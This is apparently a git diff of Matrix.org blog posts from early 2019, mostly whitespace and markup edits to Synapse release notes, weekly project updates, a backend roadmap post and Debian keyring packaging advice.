    • Synapse will now reload TLS certificates from disk upon SIGHUP. (#4495#4524)
    • -
    • The matrixdotorg/synapse Docker images now use Python 3 by default. (#4558)
    • +
    • Synapse's cipher string has been updated to require ECDH key exchange. Configuring and generating dh_params is no longer required, and they will be ignored. (#4229)
    • +
    • Synapse can now automatically provision TLS certificates via ACME (the protocol used by CAs like Let's Encrypt). (#4384#4492#4525#4572#4564#4566#4547#4557)
    • +
    • Implement MSC1708 (.well-known routing for server-server federation) (#4408#4409#4426#4427#4428#4464#4468#4487#4488#4489#4497#4511#4516#4520#4521#4539#4542#4544)
    • +
    • Search now includes results from predecessor rooms after a room upgrade. (#4415)
    • +
    • Config option to disable requesting MSISDN on registration. (#4423)
    • +
    • Add a metric for tracking event stream position of the user directory. (#4445)
    • +
    • Support exposing server capabilities in CS API (MSC1753, MSC1804) (#447281b7e7eed))
    • +
    • Add support for room version 3 (#4483#4499#4515#4523#4535)
    • +
    • Synapse will now reload TLS certificates from disk upon SIGHUP. (#4495#4524)
    • +
    • The matrixdotorg/synapse Docker images now use Python 3 by default. (#4558)
    ## Bugfixes
      -
    • Prevent users with access tokens predating the introduction of device IDs from creating spurious entries in the user_ips table. (#4369)
    • -
    • Fix typo in ALL_USER_TYPES definition to ensure type is a tuple (#4392)
    • -
    • Fix high CPU usage due to remote devicelist updates (#4397)
    • -
    • Fix potential bug where creating or joining a room could fail (#4404)
    • -
    • Fix bug when rejecting remote invites (#4405#4527)
    • -
    • Fix incorrect logcontexts after a Deferred was cancelled (#4407)
    • -
    • Ensure encrypted room state is persisted across room upgrades. (#4411)
    • -
    • Copy over whether a room is a direct message and any associated room tags on room upgrade. (#4412)
    • -
    • Fix None guard in calling config.server.is_threepid_reserved (#4435)
    • -
    • Don't send IP addresses as SNI (#4452)
    • -
    • Fix UnboundLocalError in post_urlencoded_get_json (#4460)
    • -
    • Add a timeout to filtered room directory queries. (#4461)
    • -
    • Workaround for login error when using both LDAP and internal authentication. (#4486)
    • -
    • Fix a bug where setting a relative consent directory path would cause a crash. (#4512)
    • +
    • Prevent users with access tokens predating the introduction of device IDs from creating spurious entries in the user_ips table. (#4369)
    • +
    • Fix typo in ALL_USER_TYPES definition to ensure type is a tuple (#4392)
    • +
    • Fix high CPU usage due to remote devicelist updates (#4397)
    • +
    • Fix potential bug where creating or joining a room could fail (#4404)
    • +
    • Fix bug when rejecting remote invites (#4405#4527)
    • +
    • Fix incorrect logcontexts after a Deferred was cancelled (#4407)
    • +
    • Ensure encrypted room state is persisted across room upgrades. (#4411)
    • +
    • Copy over whether a room is a direct message and any associated room tags on room upgrade. (#4412)
    • +
    • Fix None guard in calling config.server.is_threepid_reserved (#4435)
    • +
    • Don't send IP addresses as SNI (#4452)
    • +
    • Fix UnboundLocalError in post_urlencoded_get_json (#4460)
    • +
    • Add a timeout to filtered room directory queries. (#4461)
    • +
    • Workaround for login error when using both LDAP and internal authentication. (#4486)
    • +
    • Fix a bug where setting a relative consent directory path would cause a crash. (#4512)
    ## Deprecations and Removals
      -
    • Synapse no longer generates self-signed TLS certificates when generating a configuration file. (#4509)
    • +
    • Synapse no longer generates self-signed TLS certificates when generating a configuration file. (#4509)
    ## Improved Documentation
      -
    • Update debian installation instructions (#4526)
    • +
    • Update debian installation instructions (#4526)
    ## Internal Changes
      -
    • Synapse will now take advantage of native UPSERT functionality in PostgreSQL 9.5+ and SQLite 3.24+. (#4306#4459#4466#4471#4477#4505)
    • -
    • Update README to use the new virtualenv everywhere (#4342)
    • -
    • Add better logging for unexpected errors while sending transactions (#4368)
    • -
    • Apply a unique index to the user_ips table, preventing duplicates. (#4370#4432#4434)
    • -
    • Silence travis-ci build warnings by removing non-functional python3.6 (#4377)
    • -
    • Fix a comment in the generated config file (#4387)
    • -
    • Add ground work for implementing future federation API versions (#4390)
    • -
    • Update dependencies on msgpack and pymacaroons to use the up-to-date packages. (#4399)
    • -
    • Tweak codecov settings to make them less loud. (#4400)
    • -
    • Implement server support for MSC1794 - Federation v2 Invite API (#4402)
    • -
    • debian package: symlink to explicit python version (#4433)
    • -
    • Add infrastructure to support different event formats (#4437#4447#4448#4470#4481#4482#4493#4494#4496#4510#4514)
    • -
    • Generate the debian config during build (#4444)
    • -
    • Clarify documentation for the public_baseurl config param (#4458#4498)
    • -
    • Fix quoting for allowed_local_3pids example config (#4476)
    • -
    • Remove deprecated --process-dependency-links option from UPGRADE.rst (#4485)
    • -
    • Make it possible to set the log level for tests via an environment variable (#4506)
    • -
    • Reduce the log level of linearizer lock acquirement to DEBUG. (#4507)
    • -
    • Fix code to comply with linting in PyFlakes 3.7.1. (#4519)
    • -
    • Add some debug for membership syncing issues (#4538)
    • -
    • Docker: only copy what we need to the build image (#4562)
    • +
    • Synapse will now take advantage of native UPSERT functionality in PostgreSQL 9.5+ and SQLite 3.24+. (#4306#4459#4466#4471#4477#4505)
    • +
    • Update README to use the new virtualenv everywhere (#4342)
    • +
    • Add better logging for unexpected errors while sending transactions (#4368)
    • +
    • Apply a unique index to the user_ips table, preventing duplicates. (#4370#4432#4434)
    • +
    • Silence travis-ci build warnings by removing non-functional python3.6 (#4377)
    • +
    • Fix a comment in the generated config file (#4387)
    • +
    • Add ground work for implementing future federation API versions (#4390)
    • +
    • Update dependencies on msgpack and pymacaroons to use the up-to-date packages. (#4399)
    • +
    • Tweak codecov settings to make them less loud. (#4400)
    • +
    • Implement server support for MSC1794 - Federation v2 Invite API (#4402)
    • +
    • debian package: symlink to explicit python version (#4433)
    • +
    • Add infrastructure to support different event formats (#4437#4447#4448#4470#4481#4482#4493#4494#4496#4510#4514)
    • +
    • Generate the debian config during build (#4444)
    • +
    • Clarify documentation for the public_baseurl config param (#4458#4498)
    • +
    • Fix quoting for allowed_local_3pids example config (#4476)
    • +
    • Remove deprecated --process-dependency-links option from UPGRADE.rst (#4485)
    • +
    • Make it possible to set the log level for tests via an environment variable (#4506)
    • +
    • Reduce the log level of linearizer lock acquirement to DEBUG. (#4507)
    • +
    • Fix code to comply with linting in PyFlakes 3.7.1. (#4519)
    • +
    • Add some debug for membership syncing issues (#4538)
    • +
    • Docker: only copy what we need to the build image (#4562)
    diff --git a/content/blog/2019/02/2019-02-08-this-week-in-matrix-2019-02-08.md b/content/blog/2019/02/2019-02-08-this-week-in-matrix-2019-02-08.md index c62c23567..8997d4265 100644 --- a/content/blog/2019/02/2019-02-08-this-week-in-matrix-2019-02-08.md +++ b/content/blog/2019/02/2019-02-08-this-week-in-matrix-2019-02-08.md @@ -19,9 +19,9 @@ Riot-web new version coming out so soon. So soon! It looks and runs great, you c FOSDEM happened.
      -
    • two Matrix-themed packed-room talks
    • -
    • lots of people coming to chat at the stall to say things like "hi" or "I like Matrix" or "what is Matrix? … wow that sounds amazing, how can I get involved?"
    • -
    • 1000s of stickers decentralised out of my bag onto people's laptops
    • +
    • two Matrix-themed packed-room talks
    • +
    • lots of people coming to chat at the stall to say things like "hi" or "I like Matrix" or "what is Matrix? … wow that sounds amazing, how can I get involved?"
    • +
    • 1000s of stickers decentralised out of my bag onto people's laptops
    If you didn't yet, take a look at the summary blogpost, which also contains videos of both talks. @@ -44,16 +44,16 @@ With the release of Server to Ser ### Approved MSCs ### In Progress MSCs ## matrix-puppet-hangouts 0.1.0 released, with bidirectional image support @@ -105,16 +105,16 @@ I have been using these playbooks to test my own homeserver deployment and am ha From the team: >
      ->
    • Still iterating on key backup UX
    • ->
    • Fix various share extension bugs (image sending failure, links share as text, etc…)
    • +>
    • Still iterating on key backup UX
    • +>
    • Fix various share extension bugs (image sending failure, links share as text, etc…)
    • >
    ## Riot Android >
      ->
    • Still iterating on the key backup UX, changes concern Riot and the Matrix SDK
    • ->
    • Valere has worked on Riot Android Notifications, we intend to merge this work on develop at the beginning of the next Sprint.
    • ->
    • RiotX: no update this week due to François being out of the office
    • +>
    • Still iterating on the key backup UX, changes concern Riot and the Matrix SDK
    • +>
    • Valere has worked on Riot Android Notifications, we intend to merge this work on develop at the beginning of the next Sprint.
    • +>
    • RiotX: no update this week due to François being out of the office
    • >
    ## .NET SDK @@ -145,16 +145,16 @@ Some progress pictures below, desktop and mobile version. > Ports missing from OpenBSD 6.4 for Synapse's dependencies were:
      -
    • py-frozendict: ok'd, waiting…
    • -
    • py-unpaddedbase64: TBD
    • -
    • py-canonicaljson: TBD
    • -
    • py-signedjson: TBD
    • -
    • py-treq: WIP (this will take a while, lots of dependencies)
    • -
    • py-daemonize: ok'd, waiting…
    • -
    • py-pymacaroons: TBD
    • -
    • py-phonenumbers: 8.10.4 done, waiting to be imported…
    • -
    • py-prometheus_client done, needs to be tested/imported…
    • -
    • coturn: TBD, maybe?
    • +
    • py-frozendict: ok'd, waiting…
    • +
    • py-unpaddedbase64: TBD
    • +
    • py-canonicaljson: TBD
    • +
    • py-signedjson: TBD
    • +
    • py-treq: WIP (this will take a while, lots of dependencies)
    • +
    • py-daemonize: ok'd, waiting…
    • +
    • py-pymacaroons: TBD
    • +
    • py-phonenumbers: 8.10.4 done, waiting to be imported…
    • +
    • py-prometheus_client done, needs to be tested/imported…
    • +
    • coturn: TBD, maybe?
    waiting = usually waiting for an OpenBSD developer to "ok" and import diff --git a/content/blog/2019/02/2019-02-14-synapse-0-99-1-1-released.md b/content/blog/2019/02/2019-02-14-synapse-0-99-1-1-released.md index 1027e3319..98a41c1d3 100644 --- a/content/blog/2019/02/2019-02-14-synapse-0-99-1-1-released.md +++ b/content/blog/2019/02/2019-02-14-synapse-0-99-1-1-released.md @@ -20,7 +20,7 @@ As ever, you can get the new update Fix "TypeError: '>' not supported" when starting without an existing certificate. Fix a bug where an existing certificate would be reprovisoned every day. (#4648) @@ -29,42 +29,42 @@ Fix a bug where an existing certificate would be reprovisoned every day. ( -
  • Include m.room.encryption on invites by default (#3902)
  • -
  • Federation OpenID listener resource can now be activated even if federation is disabled (#4420)
  • -
  • Synapse's ACME support will now correctly reprovision a certificate that approaches its expiry while Synapse is running. (#4522)
  • -
  • Add ability to update backup versions (#4580)
  • -
  • Allow the "unavailable" presence status for /sync. +
  • Include m.room.encryption on invites by default (#3902)
  • +
  • Federation OpenID listener resource can now be activated even if federation is disabled (#4420)
  • +
  • Synapse's ACME support will now correctly reprovision a certificate that approaches its expiry while Synapse is running. (#4522)
  • +
  • Add ability to update backup versions (#4580)
  • +
  • Allow the "unavailable" presence status for /sync. This change makes Synapse compliant with r0.4.0 of the Client-Server specification. (#4592)
  • -
  • There is no longer any need to specify no_tls: it is inferred from the absence of TLS listeners (#4613#4615#4617#4636)
  • -
  • The default configuration no longer requires TLS certificates. (#4614)
  • +
  • There is no longer any need to specify no_tls: it is inferred from the absence of TLS listeners (#4613#4615#4617#4636)
  • +
  • The default configuration no longer requires TLS certificates. (#4614)
  • ### Bugfixes
      -
    • Copy over room federation ability on room upgrade. (#4530)
    • -
    • Fix noisy "twisted.internet.task.TaskStopped" errors in logs (#4546)
    • -
    • Synapse is now tolerant of the tls_fingerprints option being None or not specified. (#4589)
    • -
    • Fix 'no unique or exclusion constraint' error (#4591)
    • -
    • Transfer Server ACLs on room upgrade. (#4608)
    • -
    • Fix failure to start when not TLS certificate was given even if TLS was disabled. (#4618)
    • -
    • Fix self-signed cert notice from generate-config. (#4625)
    • -
    • Fix performance of user_ips table deduplication background update (#4626#4627)
    • +
    • Copy over room federation ability on room upgrade. (#4530)
    • +
    • Fix noisy "twisted.internet.task.TaskStopped" errors in logs (#4546)
    • +
    • Synapse is now tolerant of the tls_fingerprints option being None or not specified. (#4589)
    • +
    • Fix 'no unique or exclusion constraint' error (#4591)
    • +
    • Transfer Server ACLs on room upgrade. (#4608)
    • +
    • Fix failure to start when not TLS certificate was given even if TLS was disabled. (#4618)
    • +
    • Fix self-signed cert notice from generate-config. (#4625)
    • +
    • Fix performance of user_ips table deduplication background update (#4626#4627)
    ### Internal Changes
      -
    • Change the user directory state query to use a filtered call to the db instead of a generic one. (#4462)
    • -
    • Reject federation transactions if they include more than 50 PDUs or 100 EDUs. (#4513)
    • -
    • Reduce duplication of synapse.app code. (#4567)
    • -
    • Fix docker upload job to push -py2 images. (#4576)
    • -
    • Add port configuration information to ACME instructions. (#4578)
    • -
    • Update MSC1711 FAQ to clarify .well-known usage (#4584)
    • -
    • Clean up default listener configuration (#4586)
    • -
    • Clarifications for reverse proxy docs (#4607)
    • -
    • Move ClientTLSOptionsFactory init out of refresh_certificates (#4611)
    • -
    • Fail cleanly if listener config lacks a 'port' (#4616)
    • -
    • Remove redundant entries from docker config (#4619)
    • -
    • README updates (#4621)
    • +
    • Change the user directory state query to use a filtered call to the db instead of a generic one. (#4462)
    • +
    • Reject federation transactions if they include more than 50 PDUs or 100 EDUs. (#4513)
    • +
    • Reduce duplication of synapse.app code. (#4567)
    • +
    • Fix docker upload job to push -py2 images. (#4576)
    • +
    • Add port configuration information to ACME instructions. (#4578)
    • +
    • Update MSC1711 FAQ to clarify .well-known usage (#4584)
    • +
    • Clean up default listener configuration (#4586)
    • +
    • Clarifications for reverse proxy docs (#4607)
    • +
    • Move ClientTLSOptionsFactory init out of refresh_certificates (#4611)
    • +
    • Fail cleanly if listener config lacks a 'port' (#4616)
    • +
    • Remove redundant entries from docker config (#4619)
    • +
    • README updates (#4621)
    diff --git a/content/blog/2019/02/2019-02-15-publishing-the-backend-roadmap.md b/content/blog/2019/02/2019-02-15-publishing-the-backend-roadmap.md index a67adae5b..b75990eea 100644 --- a/content/blog/2019/02/2019-02-15-publishing-the-backend-roadmap.md +++ b/content/blog/2019/02/2019-02-15-publishing-the-backend-roadmap.md @@ -7,75 +7,64 @@ author = ["Neil Johnson"] category = ["Tech"] +++ -Good people, - +Good people, 2019 is a big year for Matrix, in the next month we will have shipped:
      -
    • Matrix spec 1.0 (including the first stable release of the Server to Server Spec) +
    • Matrix spec 1.0 (including the first stable release of the Server to Server Spec)
    • -
    • Synapse 1.0 +
    • Synapse 1.0
    • -
    • Riot 1.0 +
    • Riot 1.0
    This is huge in itself, but is really only the beginning, and now we want to grow the ecosystem as quickly as possible. This means landing a mix of new features, enhancing existing ones, some big performance improvements as well as generally making life easier for our regular users, homeserver admins and community developers. - Today we are sharing the Matrix core team's backend roadmap. The idea is that this will make it easier for anyone to understand where the project is going, what we consider to be important, and why. - To see the roadmap in its full glory, take a look here. ### What is a roadmap and why is it valuable? A roadmap is a set of high level projects that the team intend to work on and a rough sense of the relative priority. It is essential to focus on specific goals, which inevitably means consciously not working on other initiatives. - -Our roadmap is not a delivery plan - there are explicitly no dates. The reason for this is that we know that other projects will emerge, developers will be needed to support other urgent initiatives, matrix.org use continues to grow exponentially and will require performance tweaking. - +Our roadmap is not a delivery plan - there are explicitly no dates. The reason for this is that we know that other projects will emerge, developers will be needed to support other urgent initiatives, matrix.org use continues to grow exponentially and will require performance tweaking. So simply, based on what we know now, this is the order we will work on our projects. ### Why are we sharing it? -We already share our day to day todo list, and of course our commit history, but it can be difficult for a casual observer to see the bigger picture from such granular data. The purpose of sharing is that we want anyone from the community to understand where our priorities lie. - - -We are often asked ‘Why are you not working on X, it is really important' where the answer is often ‘We agree that X is really important, but A, B and C are more important and must come first'. +We already share our day to day todo list, and of course our commit history, but it can be difficult for a casual observer to see the bigger picture from such granular data. The purpose of sharing is that we want anyone from the community to understand where our priorities lie. +We are often asked ‘Why are you not working on X, it is really important' where the answer is often ‘We agree that X is really important, but A, B and C are more important and must come first'. The point of sharing the roadmap is to make that priority trade off more transparent and consumable. ### How did we build it? -The core contributors to Synapse and Dendrite are 6 people, of 5 nationalities spread across 3 locations. After shipping the r0 release of the Server to Server spec last month we took some time to step back and have a think about what to do after Synapse 1.0 lands. This meant getting everyone in one place to talk it through. - +The core contributors to Synapse and Dendrite are 6 people, of 5 nationalities spread across 3 locations. After shipping the r0 release of the Server to Server spec last month we took some time to step back and have a think about what to do after Synapse 1.0 lands. This meant getting everyone in one place to talk it through. We also had Ben (benpa) contribute from a community perspective and took input from speaking to so many of you at FOSDEM. - In the end we filled a wall with post-its, each post-it representing a sizeable project. The position of the post-it was significant in that the vertical axis being a sense of how valuable we thought the task would be, and the horizontal axis being a rough guess on how complex we considered it to be. - We found this sort of grid approach to be really helpful in determining relative priority. After many hours and plenty of blood, sweat and tears we ended up with something we could live with and wrote it up in the shared board. - ### And this is written in blood right? Not at all (it's written in board marker). This is simply a way to express our plan of action and we are likely to make changes to it dynamically. However, this means that at any given moment, if someone wants to know what we are working on then the roadmap is the place to go. -### But wait I want to know more! +### But wait I want to know more Here is a video of myself and Matthew to talk you through the projects {{ youtube_player(video_id="LfyQ6cNGbLk") }} -### Interesting, but I have questions ... +### Interesting, but I have questions Any feedback gratefully received, come and ask questions in #synapse or #dendrite or feel free to ping me direct at @neilj:matrix.org diff --git a/content/blog/2019/02/2019-02-16-this-week-in-matrix-2019-02-15.md b/content/blog/2019/02/2019-02-16-this-week-in-matrix-2019-02-15.md index c9552a2cf..70a3614e3 100644 --- a/content/blog/2019/02/2019-02-16-this-week-in-matrix-2019-02-15.md +++ b/content/blog/2019/02/2019-02-16-this-week-in-matrix-2019-02-15.md @@ -34,19 +34,19 @@ Particularly exciting is the new encryption verification process, involving shar ### In Progress MSCs Work has continued on trying to resolve MSC1194. ## Riot iOS >
      ->
    • Last iteration on key backup UX
    • ->
    • Finish reskin
    • ->
    • Support Room v3 events ids
    • ->
    • Key import (manual or backup restore) has been optimised. It is now 30x > quicker
    • ->
    • An RC candidate will be available over the weekend
    • +>
    • Last iteration on key backup UX
    • +>
    • Finish reskin
    • +>
    • Support Room v3 events ids
    • +>
    • Key import (manual or backup restore) has been optimised. It is now 30x > quicker
    • +>
    • An RC candidate will be available over the weekend
    • >
    Scheduling, holidaying and illness means no update from Riot Android this week. @@ -55,8 +55,8 @@ Scheduling, holidaying and illness means no update from Riot Android this week. I like this short series on creating a Chat Bot using textgenrnn: ## New(ish!) Python SDK: matrix-nio @@ -121,11 +121,11 @@ krixano reports that: > mautrix-telegram got a bunch of changes and a release candidate.\\nMain changes this week: >
      ->
    • Added Matrix room upgrade handling
    • ->
    • Fixed bugs
    • ->
    • Added new admin commands and config options
    • ->
    • Added new bugs to fix later
    • ->
    • Stopped using the ORM part of SQLAlchemy
    • +>
    • Added Matrix room upgrade handling
    • +>
    • Fixed bugs
    • +>
    • Added new admin commands and config options
    • +>
    • Added new bugs to fix later
    • +>
    • Stopped using the ORM part of SQLAlchemy
    • >
    Get release notes for v0.5.0-rc1 and v0.5.0-rc2. @@ -143,12 +143,12 @@ Get release notes for matrix-org/synapse PR #4609 was my first attempt to fix the problem, however I fell short this time in ease-of-use and my implementation had other issues. (Read: The repo-key.asc downloaded from Matrix.org Debian repository should go to /usr/share/keyrings, and must not be added by apt-key add or added to /etc/apt/trusted.gpg.d directly. I attempted the latter with my first PR; but that would've allowed the Matrix.org signing key to also be used to verify packages from Debian's main repositories. Yikes!)
    As my second attempt, I'm now creating a new Debian package called matrix-archive-keyring. There's multiple things this package intends to do:
      -
    • A post-install script to remove any previously added Matrix.org package signing keys from /etc/apt/trusted.gpg. (This is the file apt-key add most commonly uses, and the most commonly found bad advice on the Internet.)
    • -
    • Convert repo-key.asc to a de-armorized .gpg format, understood better by apt(8). (Essentially, gpg --dearmor.)
    • -
    • Install the converted .gpg key to /usr/share/keyrings.
    • -
    • Make sure apt(8) uses the newly added key for Matrix.org repository only?
    • -
    • Deliver any updates to repo-key.asc directly to you via apt upgrade. Your operating system might then also do it automatically for you if unattended-upgrades(8) is installed on your system. ?
    • -
    • Make sure everything goes away when this keyring package is uninstalled. No more sudo sh -c 'apt-key del C35EB17E1EAE708E6603A9B3AD0592FE47F0DF61; rm /etc/apt/sources.list.d/matrix-org.list to get rid of the repository.
    • +
    • A post-install script to remove any previously added Matrix.org package signing keys from /etc/apt/trusted.gpg. (This is the file apt-key add most commonly uses, and the most commonly found bad advice on the Internet.)
    • +
    • Convert repo-key.asc to a de-armorized .gpg format, understood better by apt(8). (Essentially, gpg --dearmor.)
    • +
    • Install the converted .gpg key to /usr/share/keyrings.
    • +
    • Make sure apt(8) uses the newly added key for Matrix.org repository only?
    • +
    • Deliver any updates to repo-key.asc directly to you via apt upgrade. Your operating system might then also do it automatically for you if unattended-upgrades(8) is installed on your system. ?
    • +
    • Make sure everything goes away when this keyring package is uninstalled. No more sudo sh -c 'apt-key del C35EB17E1EAE708E6603A9B3AD0592FE47F0DF61; rm /etc/apt/sources.list.d/matrix-org.list to get rid of the repository.
    > I have one more interesting enhancement to disclose.
    We can ask you with debconf if you want to install deb https://matrix.org/packages/debian $(lsb_release -cs) main to /etc/apt/sources.list.d/matrix-org.list while you're installing the new keyring with apt install matrix-archive-keyring.
    You'll most likely notice the difference in install instructions, as a result of this package. Before and after: @@ -168,7 +168,7 @@ sudo sh -c 'apt update && apt install matrix-synapse-py3
    > If you are a Debian or Ubuntu user and Synapse homeserver operator using Matrix.org repositories, I'll be towncrying when this package becomes available as much as I can. All you should need to do then is apt install matrix-archive-keyring and it should patch the security holes in your operating system if you've formerly installed packages from Matrix.org or Riot.im! (The command may change a bit, because next Debian operating system release "Buster" has entered soft-freeze just today (2019-02-12) and not accepting new packages into that release.)
    PS: I'm at #debian-matrix:matrix.org, please come talk to us if Debian packaging interests you! - +> > For the eager early testers not afraid of building from source, matrix-archive-keyring version 2015.12.09+debian0.10 is available for early testing (attached). >
    # Something like this!
     > sudo apt install devscripts
    @@ -178,11 +178,11 @@ sudo sh -c 'apt update && apt install matrix-synapse-py3
     > sudo dpkg -i dpkg -i ../matrix-archive-keyring_2015.12.09+debian0.10_all
     > 
    > Please follow Debian Bug#922155 for updates. Debian binary packages will be available later sometime this/next week from Debian's unstable distribution (contrib), if all goes well and there are no remaining Debian policy violations or serious bugs. -> +> > See also: > diff --git a/content/blog/2019/02/2019-02-22-this-week-in-matrix-2019-02-22.md b/content/blog/2019/02/2019-02-22-this-week-in-matrix-2019-02-22.md index 47d5f579f..041f355e8 100644 --- a/content/blog/2019/02/2019-02-22-this-week-in-matrix-2019-02-22.md +++ b/content/blog/2019/02/2019-02-22-this-week-in-matrix-2019-02-22.md @@ -7,7 +7,7 @@ author = ["Ben Parsons"] category = ["This Week in Matrix"] +++ -## Matrix Live S03E15 - Push To Talk and XMPP Gatewaying! +## Matrix Live S03E15 - Push To Talk and XMPP Gatewaying {{ youtube_player(video_id="mpd-pcr2kKc") }} @@ -64,7 +64,7 @@ A project rarely seen has received a lot of attention this week! Good thing to fix! Here's a screenshot of Continuum-desktop, the client from koma: > > yuforia continues: - +> > Fix text processing in the bot avecho, feel free to try it out in #koma-im:matrix.org ## mxisd v1.3.1 released @@ -82,25 +82,25 @@ Good thing to fix! Here's a screenshot of mariogrip announced his plans for going ahead with uMatriks: >
      ->
    • Clean up c++ code
    • ->
    • Make the c++ code less heavy, we should focus on speed
    • ->
    • Offload js code to direct qml binding, with this i mean instead of having ablock if-else code that modifies qml object that runs on component load, we do this directly in qml: see 0a800fc and https://github.com/uMatriks/uMatriksblob/0a800fcdc0af4fa2e08526dbff88e06bcb591779/uMatriks/componentsChatItem.qml as an example for a cleaner code
    • ->
    • Make all ui depended calls async, we should NEVER block ui
    • ->
    • Offload heavy js logic to c++
    • ->
    • Cleaner UI, with less crust
    • ->
    • Async everything
    • ->
    • Merge our WIP call support
    • ->
    • Finish impl of call support (maybe move to a standalone webrtc module)
    • ->
    • Slowly start moving to QQC2
    • ->
    • Implement reply
    • ->
    • Implement sending of media
    • +>
    • Clean up c++ code
    • +>
    • Make the c++ code less heavy, we should focus on speed
    • +>
    • Offload js code to direct qml binding, with this i mean instead of having ablock if-else code that modifies qml object that runs on component load, we do this directly in qml: see 0a800fc and https://github.com/uMatriks/uMatriksblob/0a800fcdc0af4fa2e08526dbff88e06bcb591779/uMatriks/componentsChatItem.qml as an example for a cleaner code
    • +>
    • Make all ui depended calls async, we should NEVER block ui
    • +>
    • Offload heavy js logic to c++
    • +>
    • Cleaner UI, with less crust
    • +>
    • Async everything
    • +>
    • Merge our WIP call support
    • +>
    • Finish impl of call support (maybe move to a standalone webrtc module)
    • +>
    • Slowly start moving to QQC2
    • +>
    • Implement reply
    • +>
    • Implement sending of media
    • >
    ## Riot Android >
      ->
    • Finalising version and delivery of Riot 0.8.23 on the Play Store.
    • ->
    • RiotX: testing library to render events in the timeline.
    • +>
    • Finalising version and delivery of Riot 0.8.23 on the Play Store.
    • +>
    • RiotX: testing library to render events in the timeline.
    • >
    ## Debian packaging diff --git a/content/blog/2019/02/2019-02-26-bridging-matrix-with-whatsapp-running-on-a-vm.md b/content/blog/2019/02/2019-02-26-bridging-matrix-with-whatsapp-running-on-a-vm.md index d25c6522f..8745f920b 100644 --- a/content/blog/2019/02/2019-02-26-bridging-matrix-with-whatsapp-running-on-a-vm.md +++ b/content/blog/2019/02/2019-02-26-bridging-matrix-with-whatsapp-running-on-a-vm.md @@ -17,9 +17,9 @@ Matrix is: In this article we'll benefit from all three of these attributes:
      -
    • interoperable: we'll see how Matrix can be made to interact with WhatsApp
    • -
    • decentralised: you can perform this on your own server while still enjoying the benefits of being connected to the rest of the Matrix federation
    • -
    • real-time communication: we'll see how to send and receive messages in real-time
    • +
    • interoperable: we'll see how Matrix can be made to interact with WhatsApp
    • +
    • decentralised: you can perform this on your own server while still enjoying the benefits of being connected to the rest of the Matrix federation
    • +
    • real-time communication: we'll see how to send and receive messages in real-time
    ## Install your homeserver and install mautrix-whatsapp, the WhatsApp bridge @@ -55,6 +55,7 @@ Launch the Virtual Device, the open the Play Store and sign in. Now use the Play You will be asked to verify your phone number, use your number on another device to complete this step.
    +
    ## Setup mautrix-whatsapp bridge @@ -72,6 +73,6 @@ Once this is complete, you can type sync, to start bridging contact And that's it! You may need to take a little time to watch the sync happen, particularly if you have a very large number of chats on the WhatsApp side, but there is no further configuration needed. -## Demo! +## Demo {{ youtube_player(video_id="edSgP2dEZ1o") }} diff --git a/content/blog/2019/03/2019-03-01-this-week-in-matrix-2019-03-01.md b/content/blog/2019/03/2019-03-01-this-week-in-matrix-2019-03-01.md index b73847f48..0064679c4 100644 --- a/content/blog/2019/03/2019-03-01-this-week-in-matrix-2019-03-01.md +++ b/content/blog/2019/03/2019-03-01-this-week-in-matrix-2019-03-01.md @@ -42,24 +42,24 @@ Admins - your weekly reminder that if you've not already done so, you mu tom: > matrix-puppet-bridge v1.17.0 has been released! This release: - +> > - +> > Matrix rooms representing remote rooms being joinable by anyone who knows the room ID (which is generated, at least in part, from the remote room ID in all the matrix-puppet-bridge applications) was a big deficiency, and it's finally resolved. It wasn't known whether or not we could do this, and have our ghost users still be able to join the rooms (they need to be invited instead of just joining themselves), until it was attempted and tested in a few of the bridge applications.
    Because it is a big deal, new minor versions of matrix-puppet-slackmatrix-puppet-facebookmatrix-puppet-hangoutsmatrix-puppet-signalmatrix-puppet-imessage and matrix-puppet-groupme, bumping the matrix-puppet-bridge version to 1.17.0, have been released. ## Riot iOS >
      ->
    • Support .well-known data from login response +>
    • Support .well-known data from login response >
    • ->
    • Create right permalinks for room v3 +>
    • Create right permalinks for room v3 >
    • ->
    • Fix builder to Xcode 10.1 in order to still be able to release +>
    • Fix builder to Xcode 10.1 in order to still be able to release >
    • ->
    • Update swift version. Add swiftLint +>
    • Update swift version. Add swiftLint >
    • >
    @@ -75,9 +75,9 @@ It's been a little while since we saw any news about Scylla's source code here and a live instance here! @@ -86,25 +86,25 @@ It's been a little while since we saw any news about Implementation of .well-known support (SDK and Riot) +>
  • Implementation of .well-known support (SDK and Riot) >
  • ->
  • Minor change on some colors of the themes (link, home badges) +>
  • Minor change on some colors of the themes (link, home badges) >
  • ->
  • Many issue will be fixed regarding linkification +>
  • Many issue will be fixed regarding linkification >
  • ->
  • KeysBackup: improvement on recovery process: importing keys step is 8 times faster, and user get more feedback during the process which can take several seconds +>
  • KeysBackup: improvement on recovery process: importing keys step is 8 times faster, and user get more feedback during the process which can take several seconds >
  • ->
  • We will prepare a new release for the beginning of next week. +>
  • We will prepare a new release for the beginning of next week. >
  • ->
  • PlayStore new descriptions have been updated for the following languages: Bulgarian, German, English (US), French, Hungarian, Russian and Chinese (Taiwan). +>
  • PlayStore new descriptions have been updated for the following languages: Bulgarian, German, English (US), French, Hungarian, Russian and Chinese (Taiwan). >
  • > ### RiotX (Android) > - Timeline: -> - HTML formatting -> - Implementation of pills (need optimization) +> - HTML formatting +> - Implementation of pills (need optimization) > - Many Github issues have been created to track parity with the Riot Android ## Riotic: new fork with updates diff --git a/content/blog/2019/03/2019-03-04-synapse-0-99-2-released.md b/content/blog/2019/03/2019-03-04-synapse-0-99-2-released.md index 9642e3f4e..4ea12c388 100644 --- a/content/blog/2019/03/2019-03-04-synapse-0-99-2-released.md +++ b/content/blog/2019/03/2019-03-04-synapse-0-99-2-released.md @@ -20,55 +20,55 @@ As ever, you can get the new update 
    #4541) -
  • Add basic optional sentry integration. (#4632#4694)
  • -
  • Transfer bans on room upgrade. (#4642)
  • -
  • Add configurable room list publishing rules. (#4647)
  • -
  • Support .well-known delegation when issuing certificates through ACME. (#4652)
  • -
  • Allow registration and login to be handled by a worker instance. (#4666#4670#4682)
  • -
  • Reduce the overhead of creating outbound federation connections over TLS by caching the TLS client options. (#4674)
  • -
  • Add prometheus metrics for number of outgoing EDUs, by type. (#4695)
  • -
  • Return correct error code when inviting a remote user to a room whose homeserver does not support the room version. (#4721)
  • -
  • Prevent showing rooms to other servers that were set to not federate. (#4746)
  • +
  • Added an HAProxy example in the reverse proxy documentation. Contributed by Benoît S. (“Benpro”). (#4541)
  • +
  • Add basic optional sentry integration. (#4632#4694)
  • +
  • Transfer bans on room upgrade. (#4642)
  • +
  • Add configurable room list publishing rules. (#4647)
  • +
